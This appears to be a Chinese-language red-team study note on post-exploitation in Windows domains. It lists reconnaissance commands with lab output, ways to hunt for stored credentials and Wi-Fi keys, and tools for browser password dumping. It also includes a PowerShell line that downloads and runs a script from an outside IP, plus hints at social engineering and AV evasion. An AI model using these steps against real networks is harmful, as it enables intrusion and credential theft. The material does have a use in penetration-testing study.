学习流程:
入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护
在拿到目标内网的一台机器权限之后,第一件事就是想办法快速维权 ( 注,此处并不一定非要去硬刚UAC,可以尝试在对方点的时候就把UAC框弹出来,让对方自己给我们管理权限即可,至于怎么让他点 “是”还不被怀疑,那就是社工的事情了,此处不做任何涉及 ) 和 尽可能多尽可能快的搜集敏感信息
1、用户信息
windows用户列表 分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户
可以在网内收集用户等信息,对高权限用户做针对性的攻击,包括定位到域控,对域控发起攻击。
a、查看域用户,普通域用户权限即可:
net user /domain
b、查看域管理员:
net group "domain admins" /domain
c、快速定位域控ip,一般是dns、时间服务器:
net time /domain
C:\phpStudy\PHPTutorial\WWW\public> net time /domain\\DC.sun.com 的当前时间是 2021/2/9 11:19:21命令成功完成。C:\phpStudy\PHPTutorial\WWW\public> ping DC正在 Ping dc.sun.com [192.168.138.138] 具有 32 字节的数据:来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128来自 192.168.138.138 的回复: 字节=32 时间=1ms TTL=128来自 192.168.138.138 的回复: 字节=32 时间=1ms TTL=128来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128192.168.138.138 的 Ping 统计信息:数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),往返行程的估计时间(以毫秒为单位):最短 = 0ms,最长 = 1ms,平均 = 0ms以太网适配器 本地连接:连接特定的 DNS 后缀 . . . . . . . :描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2物理地址. . . . . . . . . . . . . : 00-0C-29-36-04-2DDHCP 已启用 . . . . . . . . . . . : 否自动配置已启用. . . . . . . . . . : 是本地链接 IPv6 地址. . . . . . . . : fe80::e4:89c:8ffb:f13%16(首选)IPv4 地址 . . . . . . . . . . . . : 192.168.138.136(首选)子网掩码 . . . . . . . . . . . . : 255.255.255.0默认网关. . . . . . . . . . . . . :DHCPv6 IAID . . . . . . . . . . . : 352324649DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-25-F1-93-23-00-0C-29-CE-6E-F7DNS 服务器 . . . . . . . . . . . : 192.168.138.138TCPIP 上的 NetBIOS . . . . . . . : 已启用
d、查看域控制器
net group “domain controllers” /domain
C:\phpStudy\PHPTutorial\WWW\public> net group "domain controllers" /domain这项请求将在域 sun.com 的域控制器处理。组名 Domain Controllers注释 域中所有域控制器成员-------------------------------------------------------------------------------DC$ <---这个就是域控制器命令成功完成。
查询dns解析记录
若当前主机的dns为域内dns,可通过查询dns解析记录定位域控。
nslookup -type=all _ldap._tcp.dc._msdcs.sun.com
C:\phpStudy\PHPTutorial\WWW\public> nslookup -type=all _ldap._tcp.dc._msdcs.sun.comDNS request timed out.timeout was 2 seconds.������: UnKnownAddress: 192.168.138.138 <--这个就为域控的IP_ldap._tcp.dc._msdcs.sun.com SRV service location:priority = 0weight = 100port = 389svr hostname = dc.sun.comdc.sun.com internet address = 192.168.138.138
ipconfig /all ------> 查询本机 IP 段,所在域等net user ------> 本机用户列表net localgroup administrators ------> 本机管理员[通常含有域用户]net group /domain ------> 查询域里面的工作组net group “domain controllers” /domain 获得域控制器列表net group “domain computers” /domain 获得所有域成员计算机列表net user someuser /domain 获得指定账户someuser的详细信息net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息nltest /domain_trusts 获取域信任信息net localgroup administrators /domain ------> 登录本机的域管理员net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表net view /domain:domainname
DNS记录获取
a、在windows server上,可以使用Dnscmd工具获取dns记录。
Dnscmd . /ZonePrint sun.com
Dnscmd . /EnumRecords sun.com .
b、在非windows server机器上,可以使用PowerView获取。PowerView的一些tips
import-module PowerView.ps1 Get-DNSRecord -ZoneName sun.com
工具类
列出域控制器名称:AdFind -sc dclist查询当前域中在线的计算机:AdFind -sc computers_active查询当前域中在线的计算机(只显示名称和操作系统):AdFind -sc computers_active name operatingSystem查询当前域中所有计算机:AdFind -f "objectcategory=computer"查询当前域中所有计算机(只显示名称和操作系统):AdFind -f "objectcategory=computer" name operatingSystem查询域内所有用户:AdFind -users name查询所有GPO:AdFind -sc gpodmp
获取息内网获取目标主机上的网卡信息https://github.com/Rvn0xsy/OXID-Find
OXID_Find
2、进程列表
分析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等
需要特别关注的一些敏感进程:
- 各类常见杀软进程 [ 赛门铁克, 360套装(包括天擎), 麦咖啡, ESET, 卡巴, 趋势, WindowsDefender, Sophos, 火绒, QQ管家…… ]
- 常规监控系统的agent端进程 [ Zabbix, Cacti(默认用snmp远程搜集系统信息), Nagios]
- 敏感工具进程 [ Chrome,Firefox,Edege,IE,Xshell,Xftp,SecureCRT,Navicat,TortoiseSVN,Git,Foxmail,Filezilla,Vnc,Putty,Office套件,Teamviewer,向日葵…]
- 可疑恶意敏感进程 [ Powershell.exe, mshta.exe, cmd.exe,cscript.exe …. ]
各类Java服务进程 [ 通常Java权限较高,后面提权可能会用得到 ]
包括对应进程的详细用户权限
wmic OS get Caption,CSDVersion,OSArchitecture,Verion # 当前系统具体信息
wmic product get name,version # 查看当前软件安装的具体名字以及版本,后续要对各类软件进行敏感信息收集
systeminfo # 查看补丁情况,为提权做准备,后续提权做准备
tasklist /svc # 查看当前进程,判断是否存在杀软
set # 判断当前计算机存在的环境变量,后续使用
powershell “Get-WmiObject -class Win32_Product | Select-Object -property name,version” # 通过powershell获取
可以结合这些信息进行CS,或MSF上线
3.服务列表
与安全防范工具有关服务[判断是否可以手动开关等] 存在问题的服务[权限/漏洞]
需要特别关注的一些敏感服务:
本机各类Web服务本机各类数据库服务本机各类杀软 / EDR服务本机各类常规监控的相关服务...
net start # 当前服务启动情况
可以使用SPN扫描利用
4.端口列表
开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 利用端口进行信息收集
获取当前机器的所有Tcp / Udp端口连接状态信息,顺手重点关注那些后期可用来”提权”或者搜集密码的各类敏感服务端口
netstat -ano//获取机器通信信息,根据通信的端口、ip可以获取到如下信息。如果通信信息是入流量,则可以获取到跳板机/堡垒机、管理员的PC来源IP、本地web应用端口等信息;如果通信信息是出流量,则可以获取到敏感端口(redis、mysql、mssql等)、API端口等信息。
5.补丁列表
分析 Windows 补丁 第三方软件[Java/Oracle/Flash 等]漏洞
systeminfo # 查看补丁情况,为提权做准备,后续提权做准备
6.本机共享
本机共享列表/访问权限 本机访问的域共享/访问权限
net share # 判断共享目录
共享名 资源 注解-------------------------------------------------------------------------------C$ C:\ 默认共享IPC$ 远程 IPCADMIN$ C:\Windows 远程管理命令成功完成。
net view #查看共享资料net use # 判断是否存在IPC连接net view COMPUTER_NAME /all一些替代品wmic share get /format:listwmic /node: COMPUTER_NAME share get
9.配置文件
可以使用如下命令寻找包含密码字段的文件:
cd /web findstr /s /m “password” .
下面是常用应用的默认配置路径:
a、
Tomcat: CATALINA_HOME/conf/tomcat-users.xml
b、
Apache: /etc/httpd/conf/httpd.conf
c、
Nginx: /etc/nginx/nginx.conf
d、
Wdcp: /www/wdlinux/wdcp/conf/mrpw.conf
e、
Mysql: mysql\data\mysql\user.MYD
# Mssql配置文件搜集:dir /b /s web.configfindstr /c:"User ID=" /c:"Password=" /si web.config# Seatbelt,导出详细信息Seatbelt -group=all# 列出当前目录结构:tree /A |findstr /BV /C:"| |"# 针对特定类型的敏感文件进行全盘遍历搜集,比如, 文件类型:*.xlsx,*.doc,*.docx,*.txt,*.zip,*.rar,*.7z,*.ovpn,*. vsdx,*.ppt,*pptx,*.php,*.sql,*.md# 全盘搜带有以下敏感字段的文件,其实还有非常非常多,弟兄们平时在搞的过程中最好一边搞一边积累,常见关键字:"密码(pass)", "账号(user)", "VPN","SVN","GIT", "账户(user)","交接", "离职", "登录(login)","账密", "堡垒", "邮箱(Mail)" ,"IT", "信息安全", "IT部", "备份(bak)","管理员(admin)", "内网", "杀毒" ,"入职", "服务器" , "运维" ,"平台", "巡检", "拓扑", "资产","网络", "系统", "后台(system)" ,"漏洞", "扫描", "数据库", "交换机","ERP", "防火墙" , "防毒墙", "合同","虚拟", "集群", "通讯录", "订单""办公", "权限", "隔离", "测试""网闸", "监控", "设备", "简历", "工资"dir /s /b "*密码*" "*登录*" "*资产*" "*VPN*" "*Svn*" "*Git*" "*交接*" "*离职*" "*网络*" "*后台*" "*拓扑*" "*邮箱*" "*工资*" "*管理员*" "*巡检*"# Server 端配置文件密码收集:findstr /I /c:"user=" /c:"pass=" /c:"login=" /c:"uid=" /c:"pwd=" /si *.conf *.asp *.php *.jsp *.aspx *.cgi *.xml *.ini *.inf *.txt *.cgidir /a /s /b d:\conf.* config.*dir /a /s /b c:\*.conf *.ini *.inc *.config | findstr "运维"dir /a /s /b c:\*.txt *.xls *.xlsx *.docx | findstr "密码"dir /a /s /b c:\*.conf *.ini *.inc *.configdir /a /s /b c:\conf.* config.*dir /a /s /b c:\*.txt *.xls *.xlsx *.docxfindstr /s /i /n /d:C:\ /c:"pass" *.config同时也可以搜索web目录dir /s /a /b D:\*test.js
8.本用户习惯分析
历史记录 收藏夹 文档等
获取当前用户浏览器 [ Chrome,Firefox,Edge,IE,360,QQ ] 的各类敏感数据,eg:
保存的账号密码,收藏夹链接,历史浏览记录,Cookie [ 注: 如浏览器正在运行可能无法获取相关数据 ]
可以使用如下工具:
https://github.com/moonD4rk/HackBrowserDatahttps://github.com/QAX-A-Team/BrowserGhosthttps://github.com/hayasec/360SafeBrowsergetpass
获取当前用户回收站,桌面里的文件目录列表
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt目录路径在 C:\$Recycle.Bin$I 开头的文件保存的是路径信息$R 开头的文件保存的是文件内容
获取最近运行的命令历史和访问过的文件记录
会话收集
获取管理员登录过那些机器、机器被谁登录过
同样也可以使用PowerView获取。PowerView的一些tips
获取当前机器的所有Rdp连出记录 [ 不包括连入记录 ]
https://github.com/Adminisme/SharpRDPLog(需要bypassUAC)https://github.com/Heart-Sky/ListRDPConnections
获取当前机器的WIFI连接账号密码:
netsh wlan show profilesnetsh wlan show profiles name="这里写wifi的配置名" key=clear
获取当前系统的防火墙状态 [开启 / 关闭]
获取当前机器根下的计划任务列表
获取当前用户的注册表自启动项列表
获取当前机器的所有IPC会话
9、获取当前用户密码(高权限下)
抓取当前系统的所有本地用户明文密码及Hash
插SSP 众所周知,Win8.1 / 2012R2 之后的系统默认抓不到明文,所以可以通过此方式等目标下次登录时来获取明文,类似的基础工具肯定都需事先免杀好
获取当前系统中的所有用户Token [ 后续可尝试模拟伪造令牌进行横向移动 ]
获取当前系统中日志id为4624 和 4628的,最近60天的登录记录
获取当前用户的Masterkey,后续解密用
获取当前机器的所有已经安装软件列表(留后门,抓密码可能会用得到)
获取组策略|GPP
凭据信息
抓取 “windows凭据管理器中保存的各类连接账号密码”文章
11、扩散信息收集
主机发现
a、查看共享资料:
net view
b、查看arp表:
arp -a
c、查看hosts文件:
linux: cat /etc/hostswindows: type c:\Windows\system32\drivers\etc\hosts
d、查看dns缓存:
ipconfig /displaydns
e、工具类(动静大)
nmap、nbtscan、、fscan、goby、railgun、LadonGo、TailorScan、 ServerScan等
d、脚本类
内网C段存活主机探测命令行:for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i "ttl="输出内容:@for /l %i in (1,1,255) do @ping -n 1 -w 40 10.10.10.%i & if errorlevel 1 (echo 10.10.10.%i>>c:\a.txt) else (echo 10.10.10.%i >>c:\b.txt)powershellpowershell.exe ‐exec bypass ‐Command "Import‐Module ./Invoke‐TSPingSweep.ps1; Invoke‐TSPingSweep ‐StartAddress 192.168.1.1 ‐EndAddress 192.168.1.254 ‐ResolveHost ‐ScanPort ‐Port 445,135"powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-TSPingSweep.ps1');Invoke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135
分析内网拓扑架构分析
DMZ,
管理网,
生产网,
测试网.
这时熟练掌握msf等工具,在这方面的信息搜集
NETBIOS 信息收集,
SMB 信息收集,
空会话信息收集,
漏洞信息收集等.
12、域信息收集
获取域信任
查看域信任:
nltest /domain_trusts
域传送
当存在域传送漏洞时,可以获取域名解析记录。当有了解析记录后,也能提高对网络环境的进一步认知,比如www解析的ip段可能在dmz区,mail解析的ip段可能在核心区域等等。DNS服务器分为主、备以及缓存服务器。主备之间同步数据,需要通过DNS域传送。具体指备服务器需要从主服务器拷贝数据来更新自身数据库。其原因为配置不当,如果存在则很快将内部的网络拓扑泄露
留个坑
获取当前机器中的服务票据 [ 待后续拿到管理权限后可进行PTT操作 ]
活动目录信息收集
使用PowerView
PowerView的一些技巧:
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
其他的一些工具参考3好学生大佬文章
https://3gstudent.github.io/渗透基础-活动目录信息的获取2_Bypass-AV
学习C-Sharp编写免杀工具
13、自动化信息搜集工具
Seatbelt
https://github.com/GhostPack/Seatbelt
Bloodhound
https://github.com/BloodHoundAD/BloodHound
Ping Castle
https://github.com/vletoux/pingcastle
useage
https://www.pingcastle.com/documentation/
参考&&备忘录
https://github.com/Ridter/Intranet_Penetration_Tips#内网信息搜集
https://paper.seebug.org/610/
https://github.com/fengjixuchui/RedTeamer
https://mp.weixin.qq.com/s/dvDowUZOzoNid4jFJVzNOw
https://raw.githubusercontent.com/uknowsec/Active-Directory-Pentest-Notes/master/images/域渗透实战入门细则 [ 单域 ].png
https://github.com/RedTeamWing/Hunting-Active-Directory
https://github.com/zer0yu/Intranet_Penetration_CheetSheets#内网跨边界应用
check list
AD 环境To display the IP, subnet, default gateway etcipconfig /all– To display current user name, info in current access token, SID, privs and group that current user belongs towhoami /all– To show local groups on current machine:net localgroup– To show local administrators of current machine:net localgroup “administrators”– To check active tcp connections, ports, which the computer is listening, ethernet statistics, ip routing tablenetstat -an– To display running processes with verbose mode:tasklist /V– Shows the windows started services:net start– Shows the windows services with binary paths:sc qc <service name>– Show OS, processor, memory, bios related info:systeminfo > output.txt– To check for scheduled jobs:schtasks /query /fo LIST /v– To check for the patches installed and figuring out if its missing important any patch:wmic qfe get Caption,Description,HotFixID,InstalledOnShows mapping of IP address to its MAC address in the network:arp -a– Shows the domain:echo %USERDOMAIN%– Prints the domain controller name:echo %logonserver%– Prints a list of domain usersnet user /domain– Prints a list of groups in the domain:net group /domain– Prints the AD domain password policy:net accounts /domain– Maps AD trust relationships:nltest /domain_trustsNow, let’s have a look at enumerating through Active Directory Module for windows.
